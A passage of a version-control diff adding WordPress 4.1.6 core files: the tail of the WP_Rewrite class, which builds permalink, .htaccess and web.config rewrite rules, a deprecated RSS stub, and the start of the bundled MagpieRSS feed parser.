+					$sub2feed2 = $sub2 . $feedregex2;  //and feeds again on to this <permalink>/attachment/(feed|atom...)
+					$sub2comment = $sub2 . $commentregex; //and <permalink>/comment-page-xx
+
+					//create queries for these extra tag-ons we've just dealt with
+					$subquery = $index . '?attachment=' . $this->preg_index(1);
+					$subtbquery = $subquery . '&tb=1';
+					$subfeedquery = $subquery . '&feed=' . $this->preg_index(2);
+					$subcommentquery = $subquery . '&cpage=' . $this->preg_index(2);
+
+					//do endpoints for attachments
+					if ( !empty($endpoints) ) {
+						foreach ( (array) $ep_query_append as $regex => $ep ) {
+							if ( $ep[0] & EP_ATTACHMENT ) {
+								$rewrite[$sub1 . $regex] = $subquery . $ep[1] . $this->preg_index(3);
+								$rewrite[$sub2 . $regex] = $subquery . $ep[1] . $this->preg_index(3);
+							}
+						}
+					}
+
+					//now we've finished with endpoints, finish off the $sub1 and $sub2 matches
+					//add a ? as we don't have to match that last slash, and finally a $ so we
+					//match to the end of the URL
+					$sub1 .= '?$';
+					$sub2 .= '?$';
+
+					//post pagination, e.g. <permalink>/2/
+					$match = $match . '(/[0-9]+)?/?$';
+					$query = $index . '?' . $query . '&page=' . $this->preg_index($num_toks + 1);
+				} else { //not matching a permalink so this is a lot simpler
+					//close the match and finalise the query
+					$match .= '?$';
+					$query = $index . '?' . $query;
+				}
+
+				//create the final array for this dir by joining the $rewrite array (which currently
+				//only contains rules/queries for trackback, pages etc) to the main regex/query for
+				//this dir
+				$rewrite = array_merge($rewrite, array($match => $query));
+
+				//if we're matching a permalink, add those extras (attachments etc) on
+				if ( $post ) {
+					//add trackback
+					$rewrite = array_merge(array($trackbackmatch => $trackbackquery), $rewrite);
+
+					//add regexes/queries for attachments, attachment trackbacks and so on
+					if ( ! $page ) //require <permalink>/attachment/stuff form for pages because of confusion with subpages
+						$rewrite = array_merge($rewrite, array($sub1 => $subquery, $sub1tb => $subtbquery, $sub1feed => $subfeedquery, $sub1feed2 => $subfeedquery, $sub1comment => $subcommentquery));
+					$rewrite = array_merge(array($sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery), $rewrite);
+				}
+			} //if($num_toks)
+			//add the rules for this dir to the accumulating $post_rewrite
+			$post_rewrite = array_merge($rewrite, $post_rewrite);
+		} //foreach ($dir)
+		return $post_rewrite; //the finished rules. phew!
+	}
+
+	/**
+	 * Generate Rewrite rules with permalink structure and walking directory only.
+	 *
+	 * Shorten version of {@link WP_Rewrite::generate_rewrite_rules()} that
+	 * allows for shorter list of parameters. See the method for longer
+	 * description of what generating rewrite rules does.
+	 *
+	 * @uses WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure The permalink structure to generate rules.
+	 * @param bool $walk_dirs Optional, default is false. Whether to create list of directories to walk over.
+	 * @return array
+	 */
+	public function generate_rewrite_rule($permalink_structure, $walk_dirs = false) {
+		return $this->generate_rewrite_rules($permalink_structure, EP_NONE, false, false, false, $walk_dirs);
+	}
+
+	/**
+	 * Construct rewrite matches and queries from permalink structure.
+	 *
+	 * Runs the action 'generate_rewrite_rules' with the parameter that is an
+	 * reference to the current WP_Rewrite instance to further manipulate the
+	 * permalink structures and rewrite rules. Runs the 'rewrite_rules_array'
+	 * filter on the full rewrite rule array.
+	 *
+	 * There are two ways to manipulate the rewrite rules, one by hooking into
+	 * the 'generate_rewrite_rules' action and gaining full control of the
+	 * object or just manipulating the rewrite rule array before it is passed
+	 * from the function.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array An associate array of matches and queries.
+	 */
+	public function rewrite_rules() {
+		$rewrite = array();
+
+		if ( empty($this->permalink_structure) )
+			return $rewrite;
+
+		// robots.txt -only if installed at the root
+		$home_path = parse_url( home_url() );
+		$robots_rewrite = ( empty( $home_path['path'] ) || '/' == $home_path['path'] ) ? array( 'robots\.txt$' => $this->index . '?robots=1' ) : array();
+
+		// Old feed and service files
+		$deprecated_files = array(
+			'.*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$' => $this->index . '?feed=old',
+			'.*wp-app\.php(/.*)?$' => $this->index . '?error=403',
+		);
+
+		// Registration rules
+		$registration_pages = array();
+		if ( is_multisite() && is_main_site() ) {
+			$registration_pages['.*wp-signup.php$'] = $this->index . '?signup=true';
+			$registration_pages['.*wp-activate.php$'] = $this->index . '?activate=true';
+		}
+		$registration_pages['.*wp-register.php$'] = $this->index . '?register=true'; // Deprecated
+
+		// Post rewrite rules.
+		$post_rewrite = $this->generate_rewrite_rules( $this->permalink_structure, EP_PERMALINK );
+
+		/**
+		 * Filter rewrite rules used for "post" archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $post_rewrite The rewrite rules for posts.
+		 */
+		$post_rewrite = apply_filters( 'post_rewrite_rules', $post_rewrite );
+
+		// Date rewrite rules.
+		$date_rewrite = $this->generate_rewrite_rules($this->get_date_permastruct(), EP_DATE);
+
+		/**
+		 * Filter rewrite rules used for date archives.
+		 *
+		 * Likely date archives would include /yyyy/, /yyyy/mm/, and /yyyy/mm/dd/.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $date_rewrite The rewrite rules for date archives.
+		 */
+		$date_rewrite = apply_filters( 'date_rewrite_rules', $date_rewrite );
+
+		// Root-level rewrite rules.
+		$root_rewrite = $this->generate_rewrite_rules($this->root . '/', EP_ROOT);
+
+		/**
+		 * Filter rewrite rules used for root-level archives.
+		 *
+		 * Likely root-level archives would include pagination rules for the homepage
+		 * as well as site-wide post feeds (e.g. /feed/, and /feed/atom/).
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $root_rewrite The root-level rewrite rules.
+		 */
+		$root_rewrite = apply_filters( 'root_rewrite_rules', $root_rewrite );
+
+		// Comments rewrite rules.
+		$comments_rewrite = $this->generate_rewrite_rules($this->root . $this->comments_base, EP_COMMENTS, false, true, true, false);
+
+		/**
+		 * Filter rewrite rules used for comment feed archives.
+		 *
+		 * Likely comments feed archives include /comments/feed/, and /comments/feed/atom/.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $comments_rewrite The rewrite rules for the site-wide comments feeds.
+		 */
+		$comments_rewrite = apply_filters( 'comments_rewrite_rules', $comments_rewrite );
+
+		// Search rewrite rules.
+		$search_structure = $this->get_search_permastruct();
+		$search_rewrite = $this->generate_rewrite_rules($search_structure, EP_SEARCH);
+
+		/**
+		 * Filter rewrite rules used for search archives.
+		 *
+		 * Likely search-related archives include /search/search+query/ as well as
+		 * pagination and feed paths for a search.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $search_rewrite The rewrite rules for search queries.
+		 */
+		$search_rewrite = apply_filters( 'search_rewrite_rules', $search_rewrite );
+
+		// Author rewrite rules.
+		$author_rewrite = $this->generate_rewrite_rules($this->get_author_permastruct(), EP_AUTHORS);
+
+		/**
+		 * Filter rewrite rules used for author archives.
+		 *
+		 * Likely author archives would include /author/author-name/, as well as
+		 * pagination and feed paths for author archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $author_rewrite The rewrite rules for author archives.
+		 */
+		$author_rewrite = apply_filters( 'author_rewrite_rules', $author_rewrite );
+
+		// Pages rewrite rules.
+		$page_rewrite = $this->page_rewrite_rules();
+
+		/**
+		 * Filter rewrite rules used for "page" post type archives.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $page_rewrite The rewrite rules for the "page" post type.
+		 */
+		$page_rewrite = apply_filters( 'page_rewrite_rules', $page_rewrite );
+
+		// Extra permastructs.
+		foreach ( $this->extra_permastructs as $permastructname => $struct ) {
+			if ( is_array( $struct ) ) {
+				if ( count( $struct ) == 2 )
+					$rules = $this->generate_rewrite_rules( $struct[0], $struct[1] );
+				else
+					$rules = $this->generate_rewrite_rules( $struct['struct'], $struct['ep_mask'], $struct['paged'], $struct['feed'], $struct['forcomments'], $struct['walk_dirs'], $struct['endpoints'] );
+			} else {
+				$rules = $this->generate_rewrite_rules( $struct );
+			}
+
+			/**
+			 * Filter rewrite rules used for individual permastructs.
+			 *
+			 * The dynamic portion of the hook name, `$permastructname`, refers
+			 * to the name of the registered permastruct, e.g. 'post_tag' (tags),
+			 * 'category' (categories), etc.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array $rules The rewrite rules generated for the current permastruct.
+			 */
+			$rules = apply_filters( $permastructname . '_rewrite_rules', $rules );
+			if ( 'post_tag' == $permastructname ) {
+
+				/**
+				 * Filter rewrite rules used specifically for Tags.
+				 *
+				 * @since 2.3.0
+				 * @deprecated 3.1.0 Use 'post_tag_rewrite_rules' instead
+				 *
+				 * @param array $rules The rewrite rules generated for tags.
+				 */
+				$rules = apply_filters( 'tag_rewrite_rules', $rules );
+			}
+
+			$this->extra_rules_top = array_merge($this->extra_rules_top, $rules);
+		}
+
+		// Put them together.
+		if ( $this->use_verbose_page_rules )
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite,  $author_rewrite, $date_rewrite, $page_rewrite, $post_rewrite, $this->extra_rules);
+		else
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $deprecated_files, $registration_pages, $root_rewrite, $comments_rewrite, $search_rewrite,  $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules);
+
+		/**
+		 * Fires after the rewrite rules are generated.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param WP_Rewrite $this Current WP_Rewrite instance, passed by reference.
+		 */
+		do_action_ref_array( 'generate_rewrite_rules', array( &$this ) );
+
+		/**
+		 * Filter the full set of generated rewrite rules.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $this->rules The compiled array of rewrite rules.
+		 */
+		$this->rules = apply_filters( 'rewrite_rules_array', $this->rules );
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieve the rewrite rules.
+	 *
+	 * The difference between this method and {@link
+	 * WP_Rewrite::rewrite_rules()} is that this method stores the rewrite rules
+	 * in the 'rewrite_rules' option and retrieves it. This prevents having to
+	 * process all of the permalinks to get the rewrite rules in the form of
+	 * caching.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array Rewrite rules.
+	 */
+	public function wp_rewrite_rules() {
+		$this->rules = get_option('rewrite_rules');
+		if ( empty($this->rules) ) {
+			$this->matches = 'matches';
+			$this->rewrite_rules();
+			update_option('rewrite_rules', $this->rules);
+		}
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieve mod_rewrite formatted rewrite rules to write to .htaccess.
+	 *
+	 * Does not actually write to the .htaccess file, but creates the rules for
+	 * the process that will.
+	 *
+	 * Will add the non_wp_rules property rules to the .htaccess file before
+	 * the WordPress rewrite rules one.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string
+	 */
+	public function mod_rewrite_rules() {
+		if ( ! $this->using_permalinks() )
+			return '';
+
+		$site_root = parse_url( site_url() );
+		if ( isset( $site_root['path'] ) )
+			$site_root = trailingslashit($site_root['path']);
+
+		$home_root = parse_url(home_url());
+		if ( isset( $home_root['path'] ) )
+			$home_root = trailingslashit($home_root['path']);
+		else
+			$home_root = '/';
+
+		$rules = "<IfModule mod_rewrite.c>\n";
+		$rules .= "RewriteEngine On\n";
+		$rules .= "RewriteBase $home_root\n";
+		$rules .= "RewriteRule ^index\.php$ - [L]\n"; // Prevent -f checks on index.php.
+
+		//add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all)
+		foreach ( (array) $this->non_wp_rules as $match => $query) {
+			// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+			$match = str_replace('.+?', '.+', $match);
+
+			// If the match is unanchored and greedy, prepend rewrite conditions
+			// to avoid infinite redirects and eclipsing of real files.
+			//if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) {
+				//nada.
+			//}
+
+			$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+		}
+
+		if ( $this->use_verbose_rules ) {
+			$this->matches = '';
+			$rewrite = $this->rewrite_rules();
+			$num_rules = count($rewrite);
+			$rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" .
+				"RewriteCond %{REQUEST_FILENAME} -d\n" .
+				"RewriteRule ^.*$ - [S=$num_rules]\n";
+
+			foreach ( (array) $rewrite as $match => $query) {
+				// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+				$match = str_replace('.+?', '.+', $match);
+
+				// If the match is unanchored and greedy, prepend rewrite conditions
+				// to avoid infinite redirects and eclipsing of real files.
+				//if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) {
+					//nada.
+				//}
+
+				if ( strpos($query, $this->index) !== false )
+					$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+				else
+					$rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n";
+			}
+		} else {
+			$rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
+				"RewriteCond %{REQUEST_FILENAME} !-d\n" .
+				"RewriteRule . {$home_root}{$this->index} [L]\n";
+		}
+
+		$rules .= "</IfModule>\n";
+
+		/**
+		 *
+		 * Filter the list of rewrite rules formatted for output to an .htaccess file.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
+		 */
+		$rules = apply_filters( 'mod_rewrite_rules', $rules );
+
+		/**
+		 * Filter the list of rewrite rules formatted for output to an .htaccess file.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 1.5.0 Use the mod_rewrite_rules filter instead.
+		 *
+		 * @param string $rules mod_rewrite Rewrite rules formatted for .htaccess.
+		 */
+		$rules = apply_filters( 'rewrite_rules', $rules );  // Deprecated
+
+		return $rules;
+	}
+
+	/**
+	 * Retrieve IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
+	 *
+	 * Does not actually write to the web.config file, but creates the rules for
+	 * the process that will.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @return string
+	 */
+	public function iis7_url_rewrite_rules( $add_parent_tags = false ) {
+
+		if ( ! $this->using_permalinks() )
+			return '';
+		$rules = '';
+		if ( $add_parent_tags ) {
+			$rules .= '<configuration>
+	<system.webServer>
+		<rewrite>
+			<rules>';
+		}
+
+		$rules .= '
+			<rule name="wordpress" patternSyntax="Wildcard">
+				<match url="*" />
+					<conditions>
+						<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
+						<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
+					</conditions>
+				<action type="Rewrite" url="index.php" />
+			</rule>';
+
+		if ( $add_parent_tags ) {
+			$rules .= '
+			</rules>
+		</rewrite>
+	</system.webServer>
+</configuration>';
+		}
+
+		/**
+		 * Filter the list of rewrite rules formatted for output to a web.config.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $rules Rewrite rules formatted for IIS web.config.
+		 */
+		$rules = apply_filters( 'iis7_url_rewrite_rules', $rules );
+
+		return $rules;
+	}
+
+	/**
+	 * Add a straight rewrite rule.
+	 *
+	 * Any value in the $after parameter that isn't 'bottom' will be placed at
+	 * the top of the rules.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $regex Regular expression to match against request.
+	 * @param string $redirect URL regex redirects to when regex matches request.
+	 * @param string $after Optional, default is bottom. Location to place rule.
+	 */
+	public function add_rule($regex, $redirect, $after = 'bottom') {
+		//get everything up to the first ?
+		$index = (strpos($redirect, '?') == false ? strlen($redirect) : strpos($redirect, '?'));
+		$front = substr($redirect, 0, $index);
+		if ( $front != $this->index ) { //it doesn't redirect to WP's index.php
+			$this->add_external_rule($regex, $redirect);
+		} else {
+			if ( 'bottom' == $after)
+				$this->extra_rules = array_merge($this->extra_rules, array($regex => $redirect));
+			else
+				$this->extra_rules_top = array_merge($this->extra_rules_top, array($regex => $redirect));
+			//$this->extra_rules[$regex] = $redirect;
+		}
+	}
+
+	/**
+	 * Add a rule that doesn't redirect to index.php.
+	 *
+	 * Can redirect to any place.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $regex Regular expression to match against request.
+	 * @param string $redirect URL regex redirects to when regex matches request.
+	 */
+	public function add_external_rule($regex, $redirect) {
+		$this->non_wp_rules[$regex] = $redirect;
+	}
+
+	/**
+	 * Add an endpoint, like /trackback/.
+	 *
+	 * @since 2.1.0
+	 * @since 3.9.0 $query_var parameter added.
+	 * @access public
+	 *
+	 * @see add_rewrite_endpoint() for full documentation.
+	 * @uses WP::add_query_var()
+	 *
+	 * @param string $name      Name of the endpoint.
+	 * @param int    $places    Endpoint mask describing the places the endpoint should be added.
+	 * @param string $query_var Name of the corresponding query variable. Default is value of $name.
+	 */
+	public function add_endpoint( $name, $places, $query_var = null ) {
+		global $wp;
+		if ( null === $query_var ) {
+			$query_var = $name;
+		}
+		$this->endpoints[] = array( $places, $name, $query_var );
+		$wp->add_query_var( $query_var );
+	}
+
+	/**
+	 * Add a new permalink structure.
+	 *
+	 * A permalink structure (permastruct) is an abstract definition of a set of rewrite rules; it
+	 * is an easy way of expressing a set of regular expressions that rewrite to a set of query strings.
+	 * The new permastruct is added to the {@link WP_Rewrite::$extra_permastructs} array. When the
+	 * rewrite rules are built by {@link WP_Rewrite::rewrite_rules()} all of these extra permastructs
+	 * are passed to {@link WP_Rewrite::generate_rewrite_rules()} which transforms them into the
+	 * regular expressions that many love to hate.
+	 *
+	 * The $args parameter gives you control over how {@link WP_Rewrite::generate_rewrite_rules()}
+	 * works on the new permastruct.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 *
+	 * @param string $name Name for permalink structure.
+	 * @param string $struct Permalink structure (e.g. category/%category%)
+	 * @param array $args Optional configuration for building the rules from the permalink structure:
+	 *     - with_front (bool) - Should the structure be prepended with WP_Rewrite::$front? Default is true.
+	 *     - ep_mask (int) - Endpoint mask defining what endpoints are added to the structure. Default is EP_NONE.
+	 *     - paged (bool) - Should archive pagination rules be added for the structure? Default is true.
+	 *     - feed (bool) - Should feed rewrite rules be added for the structure? Default is true.
+	 *     - forcomments (bool) - Should the feed rules be a query for a comments feed? Default is false.
+	 *     - walk_dirs (bool) - Should the 'directories' making up the structure be walked over and rewrite
+	 *                          rules built for each in turn? Default is true.
+	 *     - endpoints (bool) - Should endpoints be applied to the generated rewrite rules? Default is true.
+	 */
+	public function add_permastruct( $name, $struct, $args = array() ) {
+		// backwards compatibility for the old parameters: $with_front and $ep_mask
+		if ( ! is_array( $args ) )
+			$args = array( 'with_front' => $args );
+		if ( func_num_args() == 4 )
+			$args['ep_mask'] = func_get_arg( 3 );
+
+		$defaults = array(
+			'with_front' => true,
+			'ep_mask' => EP_NONE,
+			'paged' => true,
+			'feed' => true,
+			'forcomments' => false,
+			'walk_dirs' => true,
+			'endpoints' => true,
+		);
+		$args = array_intersect_key( $args, $defaults );
+		$args = wp_parse_args( $args, $defaults );
+
+		if ( $args['with_front'] )
+			$struct = $this->front . $struct;
+		else
+			$struct = $this->root . $struct;
+		$args['struct'] = $struct;
+
+		$this->extra_permastructs[ $name ] = $args;
+	}
+
+	/**
+	 * Remove rewrite rules and then recreate rewrite rules.
+	 *
+	 * Calls {@link WP_Rewrite::wp_rewrite_rules()} after removing the
+	 * 'rewrite_rules' option. If the function named 'save_mod_rewrite_rules'
+	 * exists, it will be called.
+	 *
+	 * @since 2.0.1
+	 * @access public
+	 * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard).
+	 */
+	public function flush_rules($hard = true) {
+		delete_option('rewrite_rules');
+		$this->wp_rewrite_rules();
+		/**
+		 * Filter whether a "hard" rewrite rule flush should be performed when requested.
+		 *
+		 * A "hard" flush updates .htaccess (Apache) or web.config (IIS).
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $hard Whether to flush rewrite rules "hard". Default true.
+		 */
+		if ( ! $hard || ! apply_filters( 'flush_rewrite_rules_hard', true ) ) {
+			return;
+		}
+		if ( function_exists( 'save_mod_rewrite_rules' ) )
+			save_mod_rewrite_rules();
+		if ( function_exists( 'iis7_save_url_rewrite_rules' ) )
+			iis7_save_url_rewrite_rules();
+	}
+
+	/**
+	 * Sets up the object's properties.
+	 *
+	 * The 'use_verbose_page_rules' object property will be set to true if the
+	 * permalink structure begins with one of the following: '%postname%', '%category%',
+	 * '%tag%', or '%author%'.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	public function init() {
+		$this->extra_rules = $this->non_wp_rules = $this->endpoints = array();
+		$this->permalink_structure = get_option('permalink_structure');
+		$this->front = substr($this->permalink_structure, 0, strpos($this->permalink_structure, '%'));
+		$this->root = '';
+		if ( $this->using_index_permalinks() )
+			$this->root = $this->index . '/';
+		unset($this->author_structure);
+		unset($this->date_structure);
+		unset($this->page_structure);
+		unset($this->search_structure);
+		unset($this->feed_structure);
+		unset($this->comment_feed_structure);
+		$this->use_trailing_slashes = ( '/' == substr($this->permalink_structure, -1, 1) );
+
+		// Enable generic rules for pages if permalink structure doesn't begin with a wildcard.
+		if ( preg_match("/^[^%]*%(?:postname|category|tag|author)%/", $this->permalink_structure) )
+			 $this->use_verbose_page_rules = true;
+		else
+			$this->use_verbose_page_rules = false;
+	}
+
+	/**
+	 * Set the main permalink structure for the blog.
+	 *
+	 * Will update the 'permalink_structure' option, if there is a difference
+	 * between the current permalink structure and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * Fires the 'permalink_structure_changed' action once the init call has
+	 * processed passing the old and new values
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure Permalink structure.
+	 */
+	public function set_permalink_structure($permalink_structure) {
+		if ( $permalink_structure != $this->permalink_structure ) {
+			$old_permalink_structure = $this->permalink_structure;
+			update_option('permalink_structure', $permalink_structure);
+			$this->init();
+
+			/**
+			 * Fires after the permalink structure is updated.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string $old_permalink_structure The previous permalink structure.
+			 * @param string $permalink_structure     The new permalink structure.
+			 */
+			do_action( 'permalink_structure_changed', $old_permalink_structure, $permalink_structure );
+		}
+	}
+
+	/**
+	 * Set the category base for the category permalink.
+	 *
+	 * Will update the 'category_base' option, if there is a difference between
+	 * the current category base and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $category_base Category permalink structure base.
+	 */
+	public function set_category_base($category_base) {
+		if ( $category_base != get_option('category_base') ) {
+			update_option('category_base', $category_base);
+			$this->init();
+		}
+	}
+
+	/**
+	 * Set the tag base for the tag permalink.
+	 *
+	 * Will update the 'tag_base' option, if there is a difference between the
+	 * current tag base and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 *
+	 * @param string $tag_base Tag permalink structure base.
+	 */
+	public function set_tag_base( $tag_base ) {
+		if ( $tag_base != get_option( 'tag_base') ) {
+			update_option( 'tag_base', $tag_base );
+			$this->init();
+		}
+	}
+
+	/**
+	 * Constructor - Calls init(), which runs setup.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return WP_Rewrite
+	 */
+	public function __construct() {
+		$this->init();
+	}
+}
Index: /tags/4.1.6/src/wp-includes/rss-functions.php
===================================================================
--- /tags/4.1.6/src/wp-includes/rss-functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/rss-functions.php	(revision 33402)
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Deprecated. Use rss.php instead.
+ *
+ * @package WordPress
+ */
+
+_deprecated_file( basename(__FILE__), '2.1', WPINC . '/rss.php' );
+require_once( ABSPATH . WPINC . '/rss.php' );
Index: /tags/4.1.6/src/wp-includes/rss.php
===================================================================
--- /tags/4.1.6/src/wp-includes/rss.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/rss.php	(revision 33402)
@@ -0,0 +1,936 @@
+<?php
+/**
+ * MagpieRSS: a simple RSS integration tool
+ *
+ * A compiled file for RSS syndication
+ *
+ * @author Kellan Elliott-McCrea <kellan@protest.net>
+ * @version 0.51
+ * @license GPL
+ *
+ * @package External
+ * @subpackage MagpieRSS
+ * @deprecated 3.0.0 Use SimplePie instead.
+ */
+
+/**
+ * Deprecated. Use SimplePie (class-simplepie.php) instead.
+ */
+_deprecated_file( basename( __FILE__ ), '3.0', WPINC . '/class-simplepie.php' );
+
+/**
+ * Fires before MagpieRSS is loaded, to optionally replace it.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0
+ */
+do_action( 'load_feed_engine' );
+
+/** RSS feed constant. */
+define('RSS', 'RSS');
+define('ATOM', 'Atom');
+define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);
+
+class MagpieRSS {
+	var $parser;
+	var $current_item	= array();	// item currently being parsed
+	var $items			= array();	// collection of parsed items
+	var $channel		= array();	// hash of channel fields
+	var $textinput		= array();
+	var $image			= array();
+	var $feed_type;
+	var $feed_version;
+
+	// parser variables
+	var $stack				= array(); // parser stack
+	var $inchannel			= false;
+	var $initem 			= false;
+	var $incontent			= false; // if in Atom <content mode="xml"> field
+	var $intextinput		= false;
+	var $inimage 			= false;
+	var $current_field		= '';
+	var $current_namespace	= false;
+
+	//var $ERROR = "";
+
+	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');
+
+	function MagpieRSS ($source) {
+
+		# if PHP xml isn't compiled in, die
+		#
+		if ( !function_exists('xml_parser_create') )
+			trigger_error( "Failed to load PHP's XML Extension. http://www.php.net/manual/en/ref.xml.php" );
+
+		$parser = @xml_parser_create();
+
+		if ( !is_resource($parser) )
+			trigger_error( "Failed to create an instance of PHP's XML parser. http://www.php.net/manual/en/ref.xml.php");
+
+		$this->parser = $parser;
+
+		# pass in parser, and a reference to this object
+		# set up handlers
+		#
+		xml_set_object( $this->parser, $this );
+		xml_set_element_handler($this->parser,
+				'feed_start_element', 'feed_end_element' );
+
+		xml_set_character_data_handler( $this->parser, 'feed_cdata' );
+
+		$status = xml_parse( $this->parser, $source );
+
+		if (! $status ) {
+			$errorcode = xml_get_error_code( $this->parser );
+			if ( $errorcode != XML_ERROR_NONE ) {
+				$xml_error = xml_error_string( $errorcode );
+				$error_line = xml_get_current_line_number($this->parser);
+				$error_col = xml_get_current_column_number($this->parser);
+				$errormsg = "$xml_error at line $error_line, column $error_col";
+
+				$this->error( $errormsg );
+			}
+		}
+
+		xml_parser_free( $this->parser );
+
+		$this->normalize();
+	}
+
+	function feed_start_element($p, $element, &$attrs) {
+		$el = $element = strtolower($element);
+		$attrs = array_change_key_case($attrs, CASE_LOWER);
+
+		// check for a namespace, and split if found
+		$ns	= false;
+		if ( strpos( $element, ':' ) ) {
+			list($ns, $el) = split( ':', $element, 2);
+		}
+		if ( $ns and $ns != 'rdf' ) {
+			$this->current_namespace = $ns;
+		}
+
+		# if feed type isn't set, then this is first element of feed
+		# identify feed from root element
+		#
+		if (!isset($this->feed_type) ) {
+			if ( $el == 'rdf' ) {
+				$this->feed_type = RSS;
+				$this->feed_version = '1.0';
+			}
+			elseif ( $el == 'rss' ) {
+				$this->feed_type = RSS;
+				$this->feed_version = $attrs['version'];
+			}
+			elseif ( $el == 'feed' ) {
+				$this->feed_type = ATOM;
+				$this->feed_version = $attrs['version'];
+				$this->inchannel = true;
+			}
+			return;
+		}
+
+		if ( $el == 'channel' )
+		{
+			$this->inchannel = true;
+		}
+		elseif ($el == 'item' or $el == 'entry' )
+		{
+			$this->initem = true;
+			if ( isset($attrs['rdf:about']) ) {
+				$this->current_item['about'] = $attrs['rdf:about'];
+			}
+		}
+
+		// if we're in the default namespace of an RSS feed,
+		//  record textinput or image fields
+		elseif (
+			$this->feed_type == RSS and
+			$this->current_namespace == '' and
+			$el == 'textinput' )
+		{
+			$this->intextinput = true;
+		}
+
+		elseif (
+			$this->feed_type == RSS and
+			$this->current_namespace == '' and
+			$el == 'image' )
+		{
+			$this->inimage = true;
+		}
+
+		# handle atom content constructs
+		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
+		{
+			// avoid clashing w/ RSS mod_content
+			if ($el == 'content' ) {
+				$el = 'atom_content';
+			}
+
+			$this->incontent = $el;
+
+		}
+
+		// if inside an Atom content construct (e.g. content or summary) field treat tags as text
+		elseif ($this->feed_type == ATOM and $this->incontent )
+		{
+			// if tags are inlined, then flatten
+			$attrs_str = join(' ',
+					array_map(array('MagpieRSS', 'map_attrs'),
+					array_keys($attrs),
+					array_values($attrs) ) );
+
+			$this->append_content( "<$element $attrs_str>"  );
+
+			array_unshift( $this->stack, $el );
+		}
+
+		// Atom support many links per containging element.
+		// Magpie treats link elements of type rel='alternate'
+		// as being equivalent to RSS's simple link element.
+		//
+		elseif ($this->feed_type == ATOM and $el == 'link' )
+		{
+			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
+			{
+				$link_el = 'link';
+			}
+			else {
+				$link_el = 'link_' . $attrs['rel'];
+			}
+
+			$this->append($link_el, $attrs['href']);
+		}
+		// set stack[0] to current element
+		else {
+			array_unshift($this->stack, $el);
+		}
+	}
+
+	function feed_cdata ($p, $text) {
+
+		if ($this->feed_type == ATOM and $this->incontent)
+		{
+			$this->append_content( $text );
+		}
+		else {
+			$current_el = join('_', array_reverse($this->stack));
+			$this->append($current_el, $text);
+		}
+	}
+
+	function feed_end_element ($p, $el) {
+		$el = strtolower($el);
+
+		if ( $el == 'item' or $el == 'entry' )
+		{
